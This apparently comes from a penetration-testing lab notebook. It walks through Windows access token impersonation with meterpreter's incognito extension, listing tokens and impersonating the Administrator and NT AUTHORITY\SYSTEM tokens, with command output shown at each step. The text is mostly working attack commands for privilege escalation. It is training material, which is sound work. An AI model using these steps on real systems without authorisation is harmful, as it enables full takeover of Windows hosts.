# Access Token

**Get a meterpreter session on the target and follow the below techinique:-**

```
getprivs
    SeAssignPrimaryTokenPrivilege
    SeAuditPrivilege
    SeChangeNotifyPrivilege
    SeCreateGlobalPrivilege
    SeImpersonatePrivilege
    SeIncreaseQuotaPrivilege
    SeIncreaseWorkingSetPrivilege
    SeSystemtimePrivilege
    SeTimeZonePrivilege
    
```

NOTE:- You need ImpersonatePrivilege  to carry out this technique

## **#Access Token Impersonation**

```
load incognito
# if the session dies, run the exploit again
```

```
list_tokens -u

    Delegation Tokens Available # Interactive Logon
    ========================================
    ATTACKDEFENSE\Administrator
    NT AUTHORITY\LOCAL SERVICE

    Impersonation Tokens Available # Non-Interactive Logon
    ========================================
    No tokens available
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2FNXAyDJNhY8a8OZ5ioWIb%2Fimage.png?alt=media&#x26;token=59612c02-fa20-4377-a540-34f44ebbb4ff" alt="" width="563"><figcaption></figcaption></figure>

* `ATTACKDEFENSE\Administrator` account access token would provide elevated privileges

```
impersonate_token "ATTACKDEFENSE\Administrator"

getuid
	Server username: ATTACKDEFENSE\Administrator
getprivs
	[-] stdapi_sys_config_getprivs: Operation failed: Access is denied.
pgrep explorer
migrate 3640

getprivs
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2FHC8v0SZlSeunhqmlmhQ4%2Fimage.png?alt=media&#x26;token=9a12e45e-a7f4-4a81-81fb-848711e174f6" alt="" width="563"><figcaption></figcaption></figure>

* Listing tokens with this account, there can be additional available tokens

```
list_tokens -u

    Delegation Tokens Available
    ========================================
    ATTACKDEFENSE\Administrator
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\SYSTEM
    Window Manager\DWM-1

    Impersonation Tokens Available
    ========================================
    Font Driver Host\UMFD-0
    Font Driver Host\UMFD-1
    NT AUTHORITY\NETWORK SERVICE
```

* `NT AUTHORITY\SYSTEM` can be impersonated, getting the privileges associated with its access token

```
impersonate_token "NT AUTHORITY\SYSTEM"
```

* In the case of no Delegation or Impersonation tokens found, the `Potato Attack` can be used to get or generate a `NT AUTHORITY/SYSTEM` access token, impersonating it and obtain privileges associated to it.
